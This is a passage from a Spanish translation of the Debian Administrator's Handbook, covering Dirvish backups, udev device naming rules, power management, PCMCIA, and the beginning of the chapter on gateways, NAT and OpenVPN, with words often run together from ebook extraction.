archivo) a excluir del respaldo. Runalles una lista de conjuntos de archivos arespaldar con una marca temporal paracada conjunto, lo que le permiteasignar la fecha correcta la copia encaso que el respaldo no ejecuteexactamente en el momentoprogramado. Debe indicar una horajusto antes del momento de ejecución(las 22:04 de forma predeterminada enDebian, según /etc/cron.d/dirvish).Finalmente, las configuracionesexpire-default y expire-ruledefinen las políticas de expiración paralos respaldos. El ejemplo anteriormantiene por siempre los respaldosgenerados el primer domingo de cadatrimestre, elimina después de un año

Page 1002: El Libro Del Administrador de Debian - Raphael Hertzog

aquellos realizados el primer domingode cada mes y luego de 3 mesesaquellos realizados otros días domingo.Mantendrá los demás respaldos diariospor 15 días. El orden de las reglas síimporta, Dirvish utiliza la última reglaque coincida o la directiva expire-default si ninguna línea de expire-rule coincide.

EN LA PRÁCTICA Expiraciónprogramada

dirvish-expire no utiliza las reglas deexpiración para realizar su trabajo. Enrealidad, se utilizan las reglas deexpiración cuando se crea una nuevacopia de respaldo para definir la fecha deexpiración asociada con dicha copia.

Page 1003: El Libro Del Administrador de Debian - Raphael Hertzog

dirvish-expire simplemente examina lascopias almacenadas y elimina aquellascuyas fechas de expiración ya pasaron.

Example 9.4. El archivo/backup/root/dirvish/default.conf

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

El ejemplo anterior especifica elconjunto de archivos a respaldar: los

Page 1004: El Libro Del Administrador de Debian - Raphael Hertzog

archivos en la máquinarivendell.falcot.com (para respaldos dedatos locales, simplemente especifiqueel nombre local del equipo segúnindica hostname), especialmenteaquellos en el árbol raíz (tree: /),excepto aquellos enumerados enexclude. El respaldo estará limitado alos contenidos de un sistema dearchivos (xdev: 1). No incluiráarchivos de otros puntos de montaje.Generará un índice de los archivosalmacenados (index: gzip) y elnombre de la imagen estará basado enla fecha actual (image-default:%Y%m%d).

Existen muchas opciones disponibles,

Page 1005: El Libro Del Administrador de Debian - Raphael Hertzog

todas documentadas en la página demanual dirvish.conf(5). Una vez quefinalizó estos archivos deconfiguración deben inicializar cadaconjunto de archivos ejecutandodirvish --vault bóveda --init. Luego,la ejecución dirvish-runallautomáticamente generará una nuevacopia de respaldo inmediatamentedespués de eliminar aquellas que hayanexpirado.

EN LA PRÁCTICA Respaldos remotossobre SSH

Cuando dirvish necesita guardar datos enuna máquina remota, utilizará ssh paraconectarse con ella, e iniciará rsync enmodo servidor. Esto necesita que el

Page 1006: El Libro Del Administrador de Debian - Raphael Hertzog

usuario root pueda conectarseautomáticamente. Las llaves deautenticación SSH permiten estoexactamente (revise la Section 9.2.2.1,“Autenticación basada en llaves”).

9.10.2. Restauraciónde equipos sinrepaldosLos equipos de escritorio, que no sonrespaldados, pueden ser regeneradosfácilmente desde CD-ROMs creadoscon el programa mondo. Estos CD-ROMs desde los que puede iniciar,

Page 1007: El Libro Del Administrador de Debian - Raphael Hertzog

permiten una reinstalación completadel sistema del equipo. Pero tengacuidado: los archivos que no sean partedel sistema o el directorio del usuariono serán respaldados por mondo. Estoincluye, por ejemplo, los archivoscrontab de los usuarios así comotambién los cambios realizados a laconfiguración del sistema desde lacreación del CD-ROM.

Los administradores de Falcot Corpestán al tanto de las limitaciones de suspolíticas de respaldo. Debido a que nopueden proteger el servidor de respaldotan bien como una cinta en una cajafuerte a prueba de fuego, lo instalaronen una habitación separada para que

Page 1008: El Libro Del Administrador de Debian - Raphael Hertzog

desastres como fuego en la sala deservidores no destruyan los respaldosjunto con todo lo demás. Lo que esmás, realizan un respaldo incrementalen DVD-ROM una vez por semana —sólo se incluyen los archivos quefueron modificados desde el últimorespaldo.

YENDO MÁS ALLÁ Respaldo deservicios SQL y LDAP

Muchos servicios (como bases de datosSQL y LDAP) no pueden respaldarsesimplemente copiando sus archivos (amenos que sean interrumpidosapropiadamente mientras se crean estosrespaldos, lo que frecuentemente esproblemático ya que fueron pensados

Page 1009: El Libro Del Administrador de Debian - Raphael Hertzog

para estar disponibles todo el tiempo).Como tal, es necesario utilizar unmecanismo de «exportación» para crearun «volcado de datos» que pueda serrespaldado de forma segura.Generalmente son archivos grandes, perose comprimen fácilmente. Para reducir elespacio de almacenamiento necesario,sólo almacenará un archivo de textocompleto por semana y diferencias (diff)cada día, que puede crear utilizando algosimilar a diff archivo_de_ayerarchivo_de_hoy. El programa xdeltaproduce diferencias incrementales devolcados binarios.

CULTURA TAR, el estándar pararespaldos en cinta

Históricamente, la forma más sencilla de

Page 1010: El Libro Del Administrador de Debian - Raphael Hertzog

realizar un respaldo en Unix eraalmacenar un compendio TAR en unacinta. Inclusive el programa tar obtuvo sunombre de «compendio en cinta» («TapeARchive»).

Page 1011: El Libro Del Administrador de Debian - Raphael Hertzog

9.11. Conexión encaliente: hotplug

9.11.1. IntroducciónEl subsistema hotplug del núcleo cargalos controladores de los periféricos quepueden conectarse en caliente. Estoincluye periféricos USB (cada vez máscomunes), PCMCIA (tarjetas deexpansión comunes en portátiles),IEEE 1394 (también llamado«Firewire» o «I-Link»), algunos discosduros SATA e inclusive, en algunosservidores de alta gama, dispositivos

Page 1012: El Libro Del Administrador de Debian - Raphael Hertzog

PCI o SCSI. El núcleo tiene una basede datos que asocia cada ID dedispositivo con el controladornecesario. Se utiliza esta base de datosdurante el inicio para cargar todos loscontroladores de los periféricosdetectados en los diferentes canalesmencionados, pero también cuando seconecta un dispositivo en caliente. Unavez que el controlador es cargado, seenvía un mensaje a udevd para quepueda crear los elementoscorrespondientes en /dev/.

9.11.2. El problema denombres

Page 1013: El Libro Del Administrador de Debian - Raphael Hertzog

Antes que existieran las conexiones encaliente, era sencillo asignar unnombre fijo a un dispositivo.Simplemente estaba basado en laposición del dispositivo en su canalcorrespondiente. Pero esto no esposible cuando dichos dispositivospuede aparecer y desaparecer del canal.El caso típico es el uso de una cámaradigital y una llave USB, ambos seránun disco para el equipo. El primero enconectarse puede ser /dev/sdb y elsegundo /dev/sdc (siempre que/dev/sda represente el disco duro delequipo en sí). El nombre deldispositivo no es fijo, depende delorden en el que se conecte losdispositivos.

Page 1014: El Libro Del Administrador de Debian - Raphael Hertzog

Además, más y más controladoresutilizan valores dinámicos para losnúmeros mayor/menor de losdispositivos, lo que hace imposibletener elementos estáticos para dichosdispositivos ya que estas característicasesenciales puede cambiar luego dereiniciar el equipo.

Se creó udev precisamente parasolucionar este problema.

EN LA PRÁCTICA Administración detarjetas de red

Muchos equipos poseen múltiples tarjetasde red (a veces dos interfaces cableadas yuna interfaz inalámbrica) y, con lamayoría de los canales compatibles con

Page 1015: El Libro Del Administrador de Debian - Raphael Hertzog

hotplug, el núcleo 2.6 ya no garantiza unnombre fijo para cada interfaz de red.¡Pero un usuario que desea configurar sured en /etc/network/interfaces necesitaun nombre fijo!

Sería difícil pedirle a todos los usuariosque creen sus propias relgas udev paraevitar este problema. Es por esto que seconfiguró udev de una forma particular:cuando inicia por primera vez (y, deforma más general, cada vez que detectauna nueva tarjeta de red) utiliza elnombre de la interfaz de red y sudirección MAC para crear nuevas reglasque le asignarán el mismo nombre cadavez que inicie. Almacena estas reglas en/etc/udev/rules.d/70-persistent-

net.rules.

Este mecanismo tiene unos efectossecundarios que debería conocer.

Page 1016: El Libro Del Administrador de Debian - Raphael Hertzog

Consideremos el caso de una máquinaque sólo tiene una tarjeta de red PCI.Lógicamente, la interfaz de red se llamaeth0. Digamos ahora que la tarjeta deja defuncionar y el administrador lareemplaza; la nueva tarjeta tendrá unanueva dirección MAC. Debido a que elnombre eth0 fue asignado a la tarjetaanterior, a la nueva se le asignará eth1aunque eth0 no aparecerá nunca más (y lared no funcionará porque/etc/network/interfaces probablementeconfigura la interfaz eth0). En este caso,basta con borrar el archivo/etc/udev/rules.d/70-persistent-

net.rules antes de reiniciar el equipo.Así se le asignará el nombre esperado,eth0 a la nueva tarjeta.

Page 1017: El Libro Del Administrador de Debian - Raphael Hertzog

9.11.3. Cómo funcionaudev

Cuando el núcleo le informa a udev dela aparición de un nuevo dispositivo,recolecta mucha información sobre eldispositivo consultando los elementoscorrespondientes en /sys/;especialmente aquellos que loidentifican unívocamente (direcciónMAC para una tarjeta de red, númerode serie para algunos dispositivos USB,etc.).

Con esta información, udev luegoconsulta todas las reglas en

Page 1018: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/udev/rules.d y/lib/udev/rules.d. En este procesodecide cómo nombrar al dispositivo,los enlaces simbólicos que creará (paradarle nombres alternativos) y losprogramas que ejecutará. Se consultantodos estos archivos y se evalúan lasreglas secuencialmente (exceptocuando un archivo utiliza la directiva«GOTO»). Por lo tanto, puede habervarias reglas que correspondan a unevento dado.

La sintaxis de los archivos de reglas esbastante simple: cada fila contienecriterios de selección y asignaciones devariables. El primero se utiliza paraseleccionar los eventos ante los que

Page 1019: El Libro Del Administrador de Debian - Raphael Hertzog

reaccionar y el último define lasacciones a tomar. Se los separasimplemente con comas y el operadorimplícitamente diferencia entre uncriterio de selección (con operacionesde comparación como == o !=) o unadirectiva de asignación (con operadorescomo =, += o :=).

Se utilizan los operadores decomparación en las siguientesvariables:

KERNEL: el nombre que el núcleole asigna al dispositivo;ACTION: la acción que correspondeal evento («add» cuando se agregóun dispositivo, «remove» cuando

Page 1020: El Libro Del Administrador de Debian - Raphael Hertzog

fue eliminado);DEVPATH: la ruta al elemento deldispositivo en /sys/;SUBSYSTEM: el subsistema delnúcleo que generó el pedido (haymuchos, pero unos pocos ejemplosson «usb», «ide», «net»,«firmware», etc.);ATTR{atributo}: el contenido delarchivo attribute en eldirectorio/sys/ruta_de_dispositivo/ deldispositivo. Aquí es dondeencontrará la dirección MAC yotros identificadores específicosdel canal;KERNELS, SUBSYSTEMS yATTRS{atributos} son

Page 1021: El Libro Del Administrador de Debian - Raphael Hertzog

variaciones que intentaráncoincidir las diferentes opcionesen alguno de los dispositivospadre del dispositivo actual;PROGRAM: delega la prueba alprograma indicado (coincidirá sidevuelve 0, no lo hará de locontrario). Se almacenará elcontenido de la salida estándar delprograma para que puedautilizarse en la prueba RESULT;RESULT: ejecuta pruebas en lasalida estándar almacenadadurante la última ejecución de unasentencia PROGRAM.

Los operadores correctos puede utilizarexpresiones con patrones para que

Page 1022: El Libro Del Administrador de Debian - Raphael Hertzog

coincidan varios valoressimultáneamente. Por ejemplo, *coincide con cualquier cadena(inclusive una vacía); ? coincide concualquier carácter y [] coincide elconjunto de caracteres enumeradosentre los corchetes (lo opuesto si elprimer carácter es un signo deexclamación y puede indicar rangos decaracteres de forma similar a a-z).

En cuanto a los operadores deasignación, = asigna un valor (yreemplaza el valor actual); en el casode una lista, es vaciada y sólocontendrá el valor asignado. := realizalo mismo pero evita cambios futuros enla misma variable. Respecto a +=,

Page 1023: El Libro Del Administrador de Debian - Raphael Hertzog

agrega elementos a una lista. Puedemodificar las siguientes variables:

NAME: el nombre del archivo dedispositivo que se creará en/dev/. Sólo se tiene en cuenta laprimera asignación, las demás sonignoradas;SYMLINK: la lista de enlacessimbólicos que apuntarán almismo dispositivo;OWNER, GROUP y MODE definen elusuario y el grupo dueños deldispositivo así como también lospermisos asociados,respectivamente;RUN: la lista de programas aejecutar en respuesta a este

Page 1024: El Libro Del Administrador de Debian - Raphael Hertzog

evento.

Los valores asignados a estas variablespueden utilizar algunas substituciones:

$kernel o %k: equivalente aKERNEL;$number o %n: el número de ordendel dispositivo; por ejemplo, parasda3 sería «3»;$devpath o %p: equivalente aDEVPATH;$attr{atributo} o%s{atributo}: equivalentes aATTRS{atributo};$major o %M: el número mayor deldispositivo en el núcleo;$mior o %m: el número menor del

Page 1025: El Libro Del Administrador de Debian - Raphael Hertzog

dispositivo en el núcleo;$result o %c: la cadena de salidadel último programa ejecutado porPROGRAM;finalmente, %% y $$ para lossignos de porcentaje y el símbolode moneda respectivamente.

La lista anterior no está completa (sóloincluye los parámetros másimportantes), pero la página de manualudev(7) debería serlo.

9.11.4. Un ejemploconcretoConsideremos el caso de una simple

Page 1026: El Libro Del Administrador de Debian - Raphael Hertzog

llave USB e intentemos asignarle unnombre fijo. Primero debe encontrarlos elementos que la identificarán demanera unívoca. Para ello, conéctela yejecuta udevadm info -a -n /dev/sdc(reemplazando /dev/sdc con elnombre real asignado a la llave).

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{removable}=="1"

ATTR{ro}=="0"

ATTR{size}=="126976"

ATTR{alignment_offset}=="0"

ATTR{capability}=="53"

Page 1027: El Libro Del Administrador de Debian - Raphael Hertzog

ATTR{stat}==" 51 100 1208 256 0 0 0 0 0 192 25 6"

ATTR{inflight}==" 0 0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0':

KERNELS=="9:0:0:0"

SUBSYSTEMS=="scsi"

DRIVERS=="sd"

ATTRS{device_blocked}=="0"

ATTRS{type}=="0"

ATTRS{scsi_level}=="3"

ATTRS{vendor}=="I0MEGA "

ATTRS{model}=="UMni64MB*IOM2C4 "

ATTRS{rev}==" "

ATTRS{state}=="running"

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2':

KERNELS=="9:0:0:0"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{configuration}=="iCfg"

Page 1028: El Libro Del Administrador de Debian - Raphael Hertzog

ATTRS{bNumInterfaces}==" 1"

ATTRS{bConfigurationValue}=="1"

ATTRS{bmAttributes}=="80"

ATTRS{bMaxPower}=="100mA"

ATTRS{urbnum}=="398"

ATTRS{idVendor}=="4146"

ATTRS{idProduct}=="4146"

ATTRS{bcdDevice}=="0100"

[...]

ATTRS{manufacturer}=="USB Disk"

ATTRS{product}=="USB Mass Storage Device"

ATTRS{serial}=="M004021000001"

[...]

Para crear una nueva regla, puedeutilizar las pruebas en las variables deldispositivo así como también en losdispositivos padre. El caso anterior lepermite crear dos reglas como lassiguientes:

Page 1029: El Libro Del Administrador de Debian - Raphael Hertzog

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/part%n"

Una vez que haya guardado estas reglasen un archivo, llamado por ejemplo/etc/udev/rules.d, puededesconectar y conectar la llave USB.Podrá ver que /dev/usb_key/diskrepresenta el disco asociado con lallave USB y /dev/usb_key/part1como su primera partición.

YENDO MÁS ALLÁ Depuración de laconfiguración de udev

Al igual que muchos demonios, udevdalmacena registros en/var/log/daemon.log. Pero no es muydescriptivo de forma predeterminada y

Page 1030: El Libro Del Administrador de Debian - Raphael Hertzog

generalmente no son suficientes paraentender lo que está sucediendo. Ejecutarudevadm control --log-priority=infoaumenta el nivel de información ysoluciona este problema. udevadmcontrol --log-priority=err vuelve alvalor predeterminado.

Page 1031: El Libro Del Administrador de Debian - Raphael Hertzog

9.12. Administraciónde energíaUsualmente, el tema de administraciónde energía es problemático. Suspenderapropiadamente un equipo necesita quetodos los controladores de losdispositivos en él sepan cómoconfigurarlos en reposo yreconfigurarlos apropiadamente aldespertar la máquina.Desafortunadamente, aún existenmuchos dispositivos que no puedensuspender correctamente en Linuxdebido a que sus fabricantes noproveen las especificaciones

Page 1032: El Libro Del Administrador de Debian - Raphael Hertzog

necesarias.

VALE LA PENA SEGUIR Suspensión porsoftware

La bandera de suspensión por softwareagrupa varios esfuerzos recientes paraintergrar hibernación confiable bajoLinux, en disco o en memoria. Losnúcleos recientes son bastante confiablesen este aspecto cuando se los utiliza conherramientas del paquete uswsusp.Desafortunadamente, los problemasrelacionados con la hibernación todavíano son historia y debería realizar pruebasen su hardware antes de creer ciegamenteque podrá despertar después desuspenderlo.

Para quienes deseen aprender más sobrecómo funciona el reposo con ACPI,

Page 1033: El Libro Del Administrador de Debian - Raphael Hertzog

Matthew Garrett tiene un excelenteartículo al respecto en su blog.

→ http://www.advogato.org/article/913.html

9.12.1. Administraciónavanzada de energía(APM: «AdvancedPower Management»)El control APM (administraciónavanzada de energía: «Advanced PowerManagement») está presente en todoslos núcleos Debian pero estádesactivado de forma predeterminada.

Page 1034: El Libro Del Administrador de Debian - Raphael Hertzog

Para activarlo debe agregar la opciónapm=on a los parámetros provistos alnúcleo durante el arranque. Si utilizaLilo, agregaría la directivaappend="apm=on" al bloque que indicala imagen a iniciar (en el archivo/etc/lilo.conf) y luego ejecutenuevamente lilo. Con GRUB2,simplemente agregaría apm=on a lavariable GRUB_CMDLINE_LINUX= en elarchivo /etc/default/grub y luegoejecute update-grub para regenerar elcontenido del menú de arranque.

El paquete apmd provee un demonioque busca eventos conectados a laadministración de energía (cambiosentre corriente alterna y batería en un

Page 1035: El Libro Del Administrador de Debian - Raphael Hertzog

portátil, etc.) y le permitirá ejecutarprogramas específicos en respuesta.

En estos días, sólo se justifica utilizarAPM en equipos antiguos que no sontotalmente compatibles con ACPI. Entodos los otros casos debería utilizarACPI.

9.12.2. Ahorros deenergía modernos:interfaz avanzada deconfiguración yenergía (ACPI:

Page 1036: El Libro Del Administrador de Debian - Raphael Hertzog

«AdvancedConfiguration andPower Interface)Linux es compatible con ACPI(interfaz avanzada de configuración yenergía: «Advanced Configuration andPower Interface») — el estándar másreciente sobre administración deenergía. Es más potente y flexible asícomo también más complicado deimplementar. El paquete acpid es lacontraparte de apmd para el mundoACPI.

Si sabe que su BIOS es compatible con

Page 1037: El Libro Del Administrador de Debian - Raphael Hertzog

ACPI correctamente, entonces éste espreferible sobre APM (eliminado alactualizar el BIOS). Cuando migre deuno a otro, debe encargarse de eliminarel paquete apmd ya que mantenerlojunto a acpid podría causar problemas(y viceversa).

ATENCIÓN Tarjetas gráficas ysuspensión

El controlador de la tarjeta de videofrecuentemente tiene problemas con lasuspensión. En caso de problemas, esbuena idea probar la última versión delservidor gráfico X.org.

HARDWARE Apple y administración de

Page 1038: El Libro Del Administrador de Debian - Raphael Hertzog

energía

En Powerbooks de Appel (procesadoresPowerPC), debería reemplazar apmd porpmud.

Page 1039: El Libro Del Administrador de Debian - Raphael Hertzog

9.13. Tarjetas deextensión enportátiles:PCMCIASe compilan los controladores detarjetas PCMCIA como módulos en elnúcleo desde la versión 2.6.13. Unsistema con Debian Squeeze,simplemente deberá instalar lacompatibilidad en espacio de usuarioque se encuentra en el paquetepcmciautils.

Page 1040: El Libro Del Administrador de Debian - Raphael Hertzog

También necesita el paquete wireless-tools para administrar correctamentetarjetas inalámbricas.

Cada vez que conecte o quite unatarjeta, el demonio la configurará odesconfigurará ejecutando un script enel directorio /etc/pcmcia/ queobtiene su configuración desde losarchivos /etc/pcmcia/*.opts. Estosarchivos fueron ligeramente adaptadospara funcionar con un sistema Debian;se delega la configuración de la red aifup si el archivo/etc/pcmcia/network.opts no seencarga de ello. Lo mismo ocurre conla configuración de una redinalámbrica, que puede configurarse en

Page 1041: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/network/interfaces en lugarde /etc/pcmcia/wireless.opts. Elarchivo /usr/share/doc/wireless-tools/README.Debian tambiéndescribe la sintaxis que debe utilizar.

Luego de esta revisión de los serviciosbásicos comunes a muchos sistemasUnix, nos enfocaremos en el entorno delas máquinas administradas: la red. Senecesitan muchos servicios para que lared funcione correctamente.Hablaremos de ellos en el próximocapítulo.

Page 1042: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 10. Infraestructurade redLinux goza de toda la herencia de Unixsobre redes, y Debian provee unconjunto completo de herramientaspara crear y administrarlas. Estecapítulo examina estas herramientas.

10.1. Puerta deenlaceUna puerta de enlace es un sistema que

Page 1043: El Libro Del Administrador de Debian - Raphael Hertzog

enlaza varias redes. Este términousualmente se refiere al «punto desalida» de una red local en el caminoobligatorio hacia las direcciones IPexternas. La puerta de enlace estáconectada a cada una de las redes queenlaza y actúa como router paratransmitir paquetes IP entre sus variasinterfaces.

VOLVER A LOS CIMIENTOS Paquete IP

La mayoría de las redes hoy en díautilizan el protocolo IP (protocolo deInternet: «Internet Protocol). Esteprotocolo segmenta los datos transmitidosen paquetes de tamaño limitado. Cadapaquete contiene, además de sus datoscomo carga útil, algunos detalles

Page 1044: El Libro Del Administrador de Debian - Raphael Hertzog

necesarios para enrutarlosapropiadamente.

VOLVER A LOS CIMIENTOS TCP/UDP

Muchos programas no gestionan lospaquetes individuales por sí mismosaunque los datos que transmiten viajanpor IP; generalmente utilizan TCP(protocolo de control de transmisión:«Transmission Control Protocol»). TCPes una capa sobre IP que permiteestablecer conexiones dedicadas a flujosde datos entre dos puntos. Los programassólo ven, entonces, un punto de entradaen el que pueden verter datos con lagarantía que los mismos datos existiránsin pérdida (y en el mismo orden) en elpunto de salida en el otro extremo de laconexión. Si bien pueden ocurrir muchos

Page 1045: El Libro Del Administrador de Debian - Raphael Hertzog

tipos de errores en las capas inferiores,TCP los compensa: retransmite paquetesperdidos y reordena apropiadamente lospaquetes que lleguen fuera de orden (porejemplo si utilizaron caminos diferentes).

Otro protocolo sobre IP es UDP(protocolo de datagramas de usuario:«User Datagram Protocol). A diferenciade TCP, está orientado a paquetes. Susobjetivos son diferentes: el propósito deUDP sólo es transmitir un paquete de unaaplicación a otra. El protocolo no intentacompensar la posible pérdida de paquetesen el camino, así como tampoco aseguraque los paquetes sean recibidos en elmismo orden en el que se los envió. Laprincipal ventaja de este protocolo es quemejora enormemente la latencia ya que lapérdida de un paquete no demora larecepción de todos los paquetes

Page 1046: El Libro Del Administrador de Debian - Raphael Hertzog

siguientes hasta que se retransmita aquélperdido.

Tanto TCP como UDP involucran puertos,que son «números de extensión» paraestablecer comunicaciones con unaaplicación particular en una máquina.Este concepto permite mantener variascomunicaciones diferentes en paralelocon el mismo correspondiente debido aque se pueden diferenciar estascomunicaciones por el número de puerto.

Algunos de estos números de puerto —estandarizados por IANA (autoridad denúmeros asignados en Internet: «InternetAssigned Numbers Authority») — son«muy conocidos» por estar asociados conservicios de red. Por ejemplo,generalmente el servidor de correo utilizael puerto TCP 25.

Page 1047: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.iana.org/assignments/port-numbers

Cuando una red local utiliza un rangode direcciones privadas (no enrutablesen Internet), la puerta de enlacenecesita implementar enmascarado dedirección («address masquerading»)para que los equipos en la red puedancomunicarse con el mundo exterior. Laoperación de enmascarado es un tipo deproxy que funciona a nivel de red: sereemplaza cada conexión saliente deuna máquina interna con una conexióndesde la puerta de enlace misma (yaque la puerta de enlace tiene unadirección externa y enrutable), los

Page 1048: El Libro Del Administrador de Debian - Raphael Hertzog

datos que pasan a través de la conexiónenmascarada son enviados a la nuevaconexión y los datos recibidos enrespuesta son enviados a través de laconexión enmascarada a la máquinainterna. La puerta de enlace utiliza unrango de puertos TCP dedicados paraeste propósito, generalmente connúmeros muy altos (mayores a 60000).Cada conexión que proviene de unamáquina interna parece, para el mundoexterior, una conexión que proviene deuno de esos puertos reservados.

CULTURA Rango de direccionesprivadas

El RFC 1918 define tres rangos dedirecciones IPv4 que no deben ser viables

Page 1049: El Libro Del Administrador de Debian - Raphael Hertzog

en Internet sino sólo utilizadas en redeslocales. El primero, 10.0.0.0/8 (revise elrecuadro VOLVER A LOS CIMIENTOSConceptos de red esenciales (Ethernet,dirección IP, subred, difusión).) es unrango clase A (con 224 direcciones IP). Elsegundo, 172.16.0.0/12, reúne 16 rangosclase B (172.16.0.0/16 a 172.31.0.0/16),cada uno de los cuales contiene 216

direcciones IP. Finalmente,192.168.0.0/16 es un rango clase B(agrupando 256 rangos clase C,192.168.0.0/24 a 192.168.255.0/24, con256 direcciones IP cada uno).

→ http://www.faqs.org/rfcs/rfc1918.html

La puerta de enlace también puederealizar dos tipos de traducción de

Page 1050: El Libro Del Administrador de Debian - Raphael Hertzog

direcciones de red («Network AddressTranslation» o NAT). El primer tipo,NAT de destino (DNAT) es una técnicapara alterar la dirección IP de destino(y/o el puerto TCP o UDP) para unaconexión (generalmente) entrante. Elmecanismo de seguimiento deconexiones también altera los paquetessiguientes en la misma conexión paraasegurar continuidad en lacomunicación. El segundo tipo de NATes NAT de origen (SNAT), del que elenmascarado es un caso particular;SNAT modifica la dirección IP deorigen (y/o el puerto TCP o UDP) deuna conexión (generalmente) saliente.En lo que respecta a DNAT, todos lospaquetes en la conexión son

Page 1051: El Libro Del Administrador de Debian - Raphael Hertzog

gestionados de forma apropiada por elmecanismo de seguimiento deconexiones. Sepa que NAT sólo esrelevante para IPv4 y su espacio dedirecciones limitado; en IPv6, laamplia disponibilidad de direccionesreduce enormemente la utilidad deNAT permitiendo que todas lasdirecciones «internas» sean enrutablesdirectamente en Internet (esto noimplica que se pueda acceder a lasmáquinas internas ya que los firewallsintermedios puede filtrar el tráfico).

VOLVER A LOS CIMIENTOSRedirección de puertos

Una aplicación concreta de DNAT esredirección de puertos («port

Page 1052: El Libro Del Administrador de Debian - Raphael Hertzog

forwarding»). Las conexiones entrantes aun puerto dado de una máquina sonredireccionados a un puerto en otramáquina. Sin embargo, pueden existirotras soluciones para conseguir un efectosimilar, especialmente a nivel deaplicación con ssh (revise laSection 9.2.2.3, “Creación de túnelescifrados con redirección de puertos”) oredir.

Suficiente teoría, pongámonosprácticos. Convertir un sistema Debianen una puerta de enlace sólo escuestión de activar la opción apropiadaen el núcleo Linux a través del sistemade archivos virtual /proc/:

Page 1053: El Libro Del Administrador de Debian - Raphael Hertzog

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

También se puede activar esta opciónautomáticamente durante el inicio si/etc/sysctl.conf define la opciónnet.ipv4.conf.default.forwarding

como 1.

Example 10.1. El archivo/etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

Puede conseguir el mismo efecto paraIPv6 simplemente reemplazando ipv4con ipv6 en la orden manual yutilizando la líneanet.ipv6.conf.all.forwarding en

Page 1054: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/sysctl.conf.

Activar enmascarado de IPv4 es unaoperación un poco más compleja queinvolucra configurar el firewallnetfilter.

De forma similar, utilizar NAT (paraIPv4) necesita configurar netfilter.Debido a que el propósito principal deeste componente es filtrar paquetes, seenumeran los detalles en el Chapter 14:“Seguridad” (revise la Section 14.2,“Firewall o el filtrado de paquetes”).

Page 1055: El Libro Del Administrador de Debian - Raphael Hertzog

10.2. Red virtualprivadaUna red virtual privada (VPN: «VirtualPrivate Network») es una forma deenlazar dos redes locales diferentes através de Internet utilizando un túnel;el túnel generalmente está cifrado paraconfidencialidad. Usualmente seutilizan VPNs para integrar unamáquina remota a la red local de unaempresa.

Muchas herramientas lo proveen.OpenVPN es una solución eficiente,fácil de desplegar y mantener, basada

Page 1056: El Libro Del Administrador de Debian - Raphael Hertzog

en SSL/TLS. Otra posibilidad esutilizar IPsec para cifrar el tráfico IPentre dos máquinas; este cifrado estransparente, lo que significa que nonecesita modificar las aplicacionesejecutando en estos equipos para teneren cuenta la VPN. También puedeutilizar SSH, además de para susfuncionalidades más convencionales,para proveer una VPN. Finalmente,puede establecer una VPN utilizando elprotocolo PPTP de Microsoft. Existenotras soluciones, pero están más alládel alcance de este libro.

10.2.1. OpenVPN

Page 1057: El Libro Del Administrador de Debian - Raphael Hertzog

OpenVPN es un pedazo de softwarededicado a crear redes privadasvirtuales. Su configuración involucracrear interfaces de red virtuales en elservidor VPN y en los clientes; escompatible con interfaces tun (paratúneles a nivel de IP) y tap (paratúneles a nivel Ethernet). En lapráctica, usualmente utilizaráinterfaces tun excepto cuando losclientes VPN deban intengrarse a la redlocal del servidor a través de un puenteEthernet.

OpenVPN se basa en OpenSSL paratoda la criptografía SSL/TLS yfuncionalidades asociadas(confidencialidad, autenticación,

Page 1058: El Libro Del Administrador de Debian - Raphael Hertzog

integridad, falta de repudio). Puedeconfigurarlo con una llave privadacompartida o con un certificado X.509basado en la infraestructura de llavepública. Se prefiere fuertemente estaúltima configuración ya que permitemás flexibilidad cuando se enfrenta aun número creciente de usuariositinerantes que acceden a la VPN.

CULTURA SSL y TLS

Netscape inventó el protocolo SSL (capade zócalos seguros: «Secure SocketLayer») para asegurar conexiones conservidores web. Luego fue estandarizadopor el IETF bajo el acrónimo TLS(seguridad de capa de transporte:«Transport Layer Security»); TLS es muy

Page 1059: El Libro Del Administrador de Debian - Raphael Hertzog

similar a SSLv3 con sólo unos pocosarreglos y mejoras.

10.2.1.1. Infraestructura dellave pública: easy-rsa

El algoritmo RSA es ampliamenteutilizado en criptografía de llavepública. Involucra un «par de llaves»,compuestas de una llave privada y unallave pública. Las dos llaves estánfuertemente relacionadas entre ellas ysus propiedades matemáticas son talesque un mensaje cifrado con la llavepública sólo puede ser descifrado poralguien que conozca la llave privada, lo

Page 1060: El Libro Del Administrador de Debian - Raphael Hertzog

que asegura confidencialidad. En ladirección opuesta, un mensaje cifradocon la clave privada puede serdescifrado por cualquiera que conozcala llave pública, lo que permiteautenticar el origen del mensaje ya quesólo pudo haber sido generado poralguien con acceso a la llave privada.Cuando se asocie una función de hashdigital (MD5, SHA1 o una variantemás reciente), esto lleva a unmecanismo de firma que puedeaplicarse a cualquier mensaje.

Sin embargo, cualquiera puede crear unpar de llaves, almacenar cualquieridentidad en ella y pretender ser laidentidad que elijan. Una solución

Page 1061: El Libro Del Administrador de Debian - Raphael Hertzog

